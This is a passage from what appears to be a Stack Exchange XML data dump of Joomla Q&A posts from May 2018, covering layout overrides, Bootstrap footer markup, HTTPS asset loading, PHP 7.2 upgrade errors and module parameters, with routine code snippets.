value&quot; required=&quot;&quot; type=&quot;text&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2018-05-16T09:29:56.890" Title="Can I change how jForm generates HTML for the Form fields?" Tags="|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22833" PostTypeId="2" ParentId="22827" CreationDate="2018-05-15T22:25:16.157" Score="1" Body="&lt;p&gt;Can’t be done with core, but there are numerous extensions that allow uri rewriting. The simplest one for your request is &#xA;&lt;a href=&quot;https://extensions.joomla.org/extension/direct-alias/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/direct-alias/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-05-15T22:25:16.157" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22834" PostTypeId="2" ParentId="22829" CreationDate="2018-05-16T08:47:34.520" Score="1" Body="&lt;p&gt;I think you are asking, Joomla code to execute query ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if yes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(&quot;MAX(CASE WHEN v.FieldName=&quot;.$db-&amp;gt;q('Team_Name').&quot; THEN v.FieldValue END) as Team_Name, MAX(CASE WHEN v.FieldName = &quot;.$db-&amp;gt;q('Manager_Name').&quot; THEN v.FieldValue END) as Manager_Name&quot;)-&amp;gt;from('#__team_values as v')-&amp;gt;where('v.tournamentId='.$db-&amp;gt;q(5));&#xA;$db-&amp;gt;setQuery($query);&#xA;$final_data = $db-&amp;gt;loadObject();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9360" LastActivityDate="2018-05-16T08:47:34.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22836" PostTypeId="2" ParentId="22832" CreationDate="2018-05-16T09:29:56.890" Score="1" Body="&lt;p&gt;The HTML markup derives from the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;layouts/joomla/form/renderfield.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As this is a layout, you can simply create an override for it.&#xA;Assuming you're working with a components, copy the file above and paste it in the following directory:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;components/com_EXAMPLE/layouts/joomla/form/renderfield.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can then make your changes to this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-05-16T09:29:56.890" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22837" PostTypeId="1" AcceptedAnswerId="22838" CreationDate="2018-05-16T14:21:57.277" Score="3" ViewCount="52" Body="&lt;p&gt;Here is the &lt;a href=&quot;http://retreatvillage.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;website&lt;/a&gt;. The footer should have 4 columns like this &lt;a href=&quot;http://retreatvillage.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt;, but in other pages it renders with 2 columns (&lt;a href=&quot;http://retreatvillage.com/accommodation-villas-chania&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) like when page is rendered in smaller screen. Why is that?&lt;/p&gt;&#xA;" OwnerUserId="12000" LastEditorUserId="12000" LastEditDate="2018-05-16T14:36:37.863" LastActivityDate="2018-05-16T15:04:30.193" Title="Footer columns render different in each page" Tags="|joomla-3.x|css|joomla3.8|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22838" PostTypeId="2" ParentId="22837" CreationDate="2018-05-16T15:04:30.193" Score="1" Body="&lt;p&gt;This is because your homepage uses &lt;code&gt;mod_vikcontentslider&lt;/code&gt;, which loads an older version of Bootstrap (3.3.7) to what your template is using (4.0.0-beta).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be an option to turn disable the loading of Bootstrap in the module settings, so firstly look for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, the markup for you footer isn't correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You currently have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-md-4 col-sm-12 col-xs-12&quot;&amp;gt;&#xA;        ...&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;footer-office-content fr_col2 col-lg-push-1 col-md-8 col-sm-12 col-xs-12&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-xs-12 col-sm-4 col-md-4&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-xs-12 col-sm-4 col-md-4&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-xs-12 col-sm-4 col-md-4&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So as you can see, you're nesting &lt;code&gt;col-*&lt;/code&gt; classes without wrapping them in a row. The &lt;code&gt;row&lt;/code&gt; is required as this uses flexbox.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;col-md-4 col-sm-12 col-xs-12&quot;&amp;gt;&#xA;        ...&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;footer-office-content fr_col2 col-lg-push-1 col-md-8 col-sm-12 col-xs-12&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;     &amp;lt;&amp;lt;&amp;lt; THIS IS THE MISSING LINE&#xA;            &amp;lt;div class=&quot;col-xs-12 col-sm-4 col-md-4&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col-xs-12 col-sm-4 col-md-4&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col-xs-12 col-sm-4 col-md-4&quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-05-16T15:04:30.193" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22839" PostTypeId="1" AcceptedAnswerId="22912" CreationDate="2018-05-16T16:43:22.133" Score="0" ViewCount="456" Body="&lt;p&gt;Recently I try add https to a Joomla site. &#xA;In https everything was ok, now it’s not loading some CSS files and Js files.&#xA;Using the network tab in chrome dev tools I get the following error:&#xA;(failed)&#xA;net::ERR_CONNECTION_RESET&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other times the some javascripts files don’t load entirely throwing some errors. For example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;“Uncaught SyntaxError: Unexpected end of input” in loading&#xA;  jquery.min.js&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But when accessing directly the file we can see that the file is loaded entrily. For example:&#xA;&lt;a href=&quot;https://recursosartisticos.madeira.gov.pt/media/jui/js/jquery.min.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://recursosartisticos.madeira.gov.pt/media/jui/js/jquery.min.js&lt;/a&gt;&#xA;You can see the problem accessing the URL  &lt;a href=&quot;https://recursosartisticos.madeira.gov.pt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://recursosartisticos.madeira.gov.pt&lt;/a&gt; or &lt;a href=&quot;https://recursosartisticos.madeira.gov.pt/administrator&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://recursosartisticos.madeira.gov.pt/administrator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that I change was adding the following text to the .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_env.c&amp;gt;&#xA;     SetEnv HTTPS on&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7958" LastActivityDate="2018-05-29T08:28:12.887" Title="CSS files and Js files not loading in https" Tags="|javascript|css|joomla-3.6|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22840" PostTypeId="1" CreationDate="2018-05-16T17:46:44.947" Score="0" ViewCount="655" Body="&lt;p&gt;I was wondering if anyone knows of any way to take the HTML content of a custom module which is placed inside an article and convert the HTML to PDF via the click of a button or so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically the user will have a button &quot;convert to PDF&quot;, and the PDF file will be generated with the HTML content, and they will have the option of downloading it.&lt;/p&gt;&#xA;" OwnerUserId="9578" LastActivityDate="2020-01-15T15:33:44.343" Title="Convert article to PDF?" Tags="|php|form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22843" PostTypeId="1" CreationDate="2018-05-17T08:07:59.073" Score="1" ViewCount="292" Body="&lt;p&gt;We can enable &lt;strong&gt;OpenSearch&lt;/strong&gt; in &lt;strong&gt;Joomla&lt;/strong&gt; search-component to insert &lt;code&gt;links&lt;/code&gt; in &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;http://site.name/component/search/?id=45&amp;amp;amp;Itemid=104&amp;amp;amp;format=opensearch&quot; rel=&quot;search&quot; title=&quot;title&quot; type=&quot;application/opensearchdescription+xml&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When follow this link I download &lt;code&gt;xml&lt;/code&gt; with &lt;strong&gt;OpenSearch&lt;/strong&gt; description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I disabled this function in search-module, so there is no &lt;code&gt;links&lt;/code&gt; in &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; sections. But! If I follow directly &lt;code&gt;http://site.name/component/search/?format=opensearch&lt;/code&gt; I still download same &lt;code&gt;xml&lt;/code&gt;-file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does it work? Where is this file created? How can I compleatly disable OpenSearch to disallow dowloading of this file?&lt;/p&gt;&#xA;" OwnerUserId="12430" LastActivityDate="2024-03-17T19:05:40.667" Title="Joomla. How to disallow Joomla download OpenSearch xml-file?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22844" PostTypeId="1" CreationDate="2018-05-17T12:38:16.037" Score="3" ViewCount="129" Body="&lt;p&gt;I'm having problems with a third party component and I'm trying to debug the issue. I get a failure with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An error has occurred.&#xA;0 Cannot access protected property UsersModelUser::$name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I'd like to know the file and line where this is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have error reporting set to development, but I'm not seeing the full PHP error/stack trace, with all its useful information. Is this logged to a file somewhere or is there other logging I need to enable?&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2018-05-17T14:42:29.250" Title="Getting Joomla to be more verbose about errors" Tags="|joomla-3.6|error-reporting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22845" PostTypeId="2" ParentId="22840" CreationDate="2018-05-17T13:31:27.117" Score="1" Body="&lt;p&gt;I suggest using Phoca PDF.  It's a decent extension. &lt;a href=&quot;https://www.phoca.cz/phocapdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.phoca.cz/phocapdf&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-05-17T13:31:27.117" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22846" PostTypeId="2" ParentId="22844" CreationDate="2018-05-17T14:42:29.250" Score="2" Body="&lt;p&gt;Setting the error reporting to the maximum level is a good idea. But if Joomla cached those errors, you need to turn on the debug mode as well. This will reveal more details about the error you encounter. &lt;/p&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2018-05-17T14:42:29.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22847" PostTypeId="1" CreationDate="2018-05-17T16:38:48.677" Score="1" ViewCount="592" Body="&lt;p&gt;I have added new fields in the configuration file for my form, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;field name=&quot;yes&quot; type=&quot;checkbox&quot; label=&quot;Answer yes&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;options&quot; type=&quot;list&quot; label=&quot;Type&quot; description=&quot;&quot;&amp;gt;&#xA;          &amp;lt;option value=&quot;&quot; selected=&quot;selected&quot;&amp;gt;default&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;Option1&quot;&amp;gt;Option1&amp;lt;/option&amp;gt;&#xA;          &amp;lt;option value=&quot;Opcion2&quot;&amp;gt;Option2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the view, I show the fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;       &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('yes'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;       &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('yes'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group&quot; id=&quot;div_options&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;         &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('options'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;         &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('options'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And with Javascript (jQuery), I have set the condition that when the checkbox is checked, I show the select with options. But I need to validate with Joomla that just in case the checkbox is checked, the selection is mandatory and the user must select an option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (jQuery('#jform_yes').is(':checked')) {&#xA;    jQuery(&quot;#div_copciones&quot;).show();&#xA;    jQuery(&quot;#jform_options_chzn&quot;).attr('required', true);&#xA;    jQuery(&quot;#jform_options_chzn&quot;).addClass('validate-options');&#xA;} &#xA;&#xA;jQuery('#jform_yes').on('change', function(){&#xA;    if (this.checked) {&#xA;        jQuery(&quot;#div_opciones&quot;).show();&#xA;        jQuery(&quot;#jform_options_chzn&quot;).attr('required', true);&#xA;        jQuery(&quot;#jform_options_chzn&quot;).addClass('validate-options');&#xA;&#xA;    } else {&#xA;        jQuery('#jform_yes').val(0);&#xA;        jQuery(&quot;#jform_options_chzn&quot;).attr('required', false);&#xA;        jQuery(&quot;#div_options&quot;).hide();&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I validate that the user chooses an option in the select before sending the form? Is my process correct? Is there any better way to do it? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12303" LastEditorUserId="12303" LastEditDate="2018-05-18T07:02:51.480" LastActivityDate="2018-05-18T07:02:51.480" Title="Show select when checkbox is checked and validate select as required" Tags="|jquery|validations|select|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22848" PostTypeId="1" CreationDate="2018-05-17T19:25:03.530" Score="0" ViewCount="2186" Body="&lt;p&gt;I currently have a Joomla 3.8.7 running on a Xubuntu 14.04 LAMP server. The site was working normally until the server was upgraded to PHP 7.2. Now when we try to access the admin login or the site we receive a 500 error. There are no errors in the apache2 log file. I have updated the php.ini file with recommended settings and still the 500 error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried renaming the .htaccess file as a long shot attempt but it did not help so I renamed it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a generic info.php with phpinfo() and it shows PHP 7.2 from the browser. The command line php -v also shows PHP 7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get the site back I a2dismod php7.2, a2enmod php5.6, and then restarted apache2. It is working as before but we still need to get to 7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="12336" LastActivityDate="2018-05-18T23:43:25.693" Title="Upgrading to PHP 7.2 causes 500 Error" Tags="|joomla-3.x|php7|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22849" PostTypeId="1" CreationDate="2018-05-18T06:10:30.900" Score="1" ViewCount="66" Body="&lt;p&gt;I want to extend/override the &lt;code&gt;JFile&lt;/code&gt; class without hacking Joomla files.  How do I even begin to extend the class using best practices?&lt;/p&gt;&#xA;" OwnerUserId="12521" LastEditorUserId="12352" LastEditDate="2018-07-23T16:52:41.300" LastActivityDate="2018-07-23T16:52:41.300" Title="How to extend / override the JFile class?" Tags="|joomla-3.x|file-upload|class-extensions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22851" PostTypeId="2" ParentId="22843" CreationDate="2018-05-18T08:39:49.707" Score="0" Body="&lt;p&gt;The only way I found was to block creating of this &lt;code&gt;xml&lt;/code&gt;-file in search-component:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// components/com_search/views/search/view.opensearch.php&#xA;class SearchViewSearch extends JViewLegacy&#xA;{&#xA;    public function display($tpl = null)&#xA;    {&#xA;        // Return HTTP-code 404&#xA;        header( &quot;HTTP/1.1 404 Not Found&quot; );&#xA;        exit();&#xA;        ...&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is not very good solution, but I don't know another way.&#xA;Now when follow this link I recieve &lt;strong&gt;HTTP&lt;/strong&gt;-code 404.&lt;/p&gt;&#xA;" OwnerUserId="12430" LastActivityDate="2018-05-18T08:39:49.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22852" PostTypeId="2" ParentId="22848" CreationDate="2018-05-18T11:30:34.317" Score="1" Body="&lt;p&gt;What 3rd party extensions do you have?  My guess is your have a plugin or something that is having issues and that is causing the error.  Make sure error reporting is set to E_ALL (check in phpinfo.php) so it catches depreciated errors as well.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-05-18T11:30:34.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22855" PostTypeId="2" ParentId="9120" CreationDate="2018-05-19T20:43:12.227" Score="0" Body="&lt;p&gt;In Joomla 3.x, from the template file, you could &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('MailtoHelper', JPATH_SITE . '/components/com_mailto/helpers/mailto.php');&#xA;&#xA;$text      = &quot;Email this to a friend&quot;;&#xA;$uri      = JUri::getInstance();&#xA;$base     = $uri-&amp;gt;toString(array('scheme', 'host', 'port'));&#xA;$template = JFactory::getApplication()-&amp;gt;getTemplate();&#xA;$link     = $base . JRoute::_(ContentHelperRoute::getArticleRoute($article-&amp;gt;slug, $article-&amp;gt;catid, $article-&amp;gt;language), false);&#xA;$url      = 'index.php?option=com_mailto&amp;amp;tmpl=component&amp;amp;template=' . $template . '&amp;amp;link=' . MailtoHelper::addLink($link);&#xA;&#xA;$status = 'width=400,height=350,top=400,left=400,menubar=yes,resizable=yes';&#xA;&#xA;$attribs['title']   = JText::_('JGLOBAL_EMAIL_TITLE');&#xA;$attribs['onclick'] = &quot;window.open(this.href,'win2','&quot; . $status . &quot;'); return false;&quot;;&#xA;$attribs['rel']     = 'nofollow';&#xA;&#xA;$emailToLink = JHtml::_('link', JRoute::_($url), $text, $attribs);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The $emailToLink renders:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/component/mailto/?tmpl=component&amp;amp;amp;template=blank&amp;amp;amp;link=00138c314c7fbaee1454db9236c92cab1b78bd03&quot; title=&quot;Email this link to a friend&quot; onclick=&quot;window.open(this.href,'win2','width=400,height=350,menubar=yes,resizable=yes'); return false;&quot; rel=&quot;nofollow&quot;&amp;gt;Email this to a friend&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you need to figure out how to embed this into your article. Maybe some javascript for this. &lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2018-05-19T20:43:12.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22856" PostTypeId="1" AcceptedAnswerId="22857" CreationDate="2018-05-20T02:08:50.873" Score="1" ViewCount="56" Body="&lt;p&gt;I own a website called &lt;a href=&quot;http://www.elitemaths.com.au&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.elitemaths.com.au&lt;/a&gt; that is joomla based.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I am new to joomla I need to ask you two things that may be basic for you guys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, how do I go about changing the texts on my main page? (circled). I have looked in the css template and also the articles embedded into the main page. However, the article part of the main page seems to start from half way down the main page.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Yn89p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yn89p.png&quot; alt=&quot;screenshot1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second question is, how do I change/remove the phone number in the bottom menu bar? Is this part of the footer? Something I can change in the joomla control panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HOYkn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HOYkn.png&quot; alt=&quot;screenshot2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate your help.&#xA;Thanks guys.&lt;/p&gt;&#xA;" OwnerUserId="8777" LastActivityDate="2018-05-20T04:48:25.077" Title="Editing responsive html codes" Tags="|joomla-3.x|templates|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22857" PostTypeId="2" ParentId="22856" CreationDate="2018-05-20T04:48:25.077" Score="0" Body="&lt;p&gt;The two content items you wish to update look like they are modules and these can be updated via Extensions -&gt; Modules in the back-end of your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a long list of enabled modules, you can narrow down the search by going to Extensions -&gt; Templates -&gt; Options, temporarily setting Preview Module Positions = &quot;Enabled&quot; and browsing to www.elitemaths.com.au/index.php?tp=1 to see what module positions these items are published to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the source code, the header module seems to have a module ID of 117 and the footer module seems to have a module ID of 92.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also be able to log in to the front-end of the website via www.elitemaths.com.au/index.php?option=com_users&amp;amp;view=login and click on the edit icon associated with each of these modules to edit them directly, assuming your website is set up to allow editing of modules from the front-end.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-05-20T04:48:25.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22860" PostTypeId="1" CreationDate="2018-05-21T11:31:57.070" Score="0" ViewCount="39" Body="&lt;p&gt;I'm coming across a strange issue - when adding google analytics link tracking code to a blog post URL it redirects to the home page rather than the blog post, without the GA tracking details the post loads fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original link looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.website.com/blog/90-need-a-translator-we-don-t-just-talk-the-talk?utm_source=linkedin&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog_17may18&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.website.com/blog/90-need-a-translator-we-don-t-just-talk-the-talk?utm_source=linkedin&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog_17may18&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I set the campaign parameters in the fragment portion of the URL so that the URL looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.website-it.com/blog/90-need-a-translator-we-don-t-just-talk-the-talk#utm_source=linkedin&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog_17may18&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.website-it.com/blog/90-need-a-translator-we-don-t-just-talk-the-talk#utm_source=linkedin&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog_17may18&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. using a # instead of a ? - then the link lands correctly on the blog post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot seem to find any posts relating to this either on here or in Google. Has anyone seen anything like this before? Is this a known issue as google recommends not to set the campaign parameters in the fragment portion of the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas/information would be most appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2018-05-21T11:31:57.070" Title="Adding google link tracking to blog post URL redirects to home page" Tags="|joomla-3.x|google-analytics|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22863" PostTypeId="1" AcceptedAnswerId="22870" CreationDate="2018-05-21T20:00:57.030" Score="0" ViewCount="48" Body="&lt;p&gt;I moved my site to the other host and got a troubles in administration panel.&#xA;Top menu is inactive, any button does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other problem - I can not update my version 3.8.6 to 3.8.7. The package gets to the tmp  directory and progress bar are shown but nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have did:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-$log_path and  $tmp_path are tuned&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Rights on directories and files are 755 and 644(media, images, tmp, cache...777).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Files and database was removed few times but problems are not dissapeared&lt;/p&gt;&#xA;" OwnerUserId="11766" LastEditorUserId="11766" LastEditDate="2018-05-21T20:30:05.313" LastActivityDate="2020-08-10T00:00:40.133" Title="Inactive control panel buttons" Tags="|administrator|menu-item|weblinks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22864" PostTypeId="1" CreationDate="2018-05-21T21:54:59.687" Score="1" ViewCount="313" Body="&lt;p&gt;I'm trying to make a simple contact form but I can't pass params from my module to external &lt;code&gt;action=&quot;contact.php&quot;&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is how I'm trying to get parameters to an external file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&#xA;$session = JFactory::getSession();&#xA;&#xA;jimport( 'joomla.application.module.helper' );&#xA;&#xA;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery(&quot;SELECT params FROM #__modules WHERE module = 'mod_my_contact_form'&quot;);&#xA;&#xA;$module = $db-&amp;gt;loadObject();&#xA;$params = new JRegistry($module-&amp;gt;params);&#xA;&#xA;$contact_email = $params-&amp;gt;get('myemail');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result of the &lt;code&gt;print_r('My e-mail: ' . $contact_email);&lt;/code&gt; stays empty: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My e-mail:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;What might be the cause of this 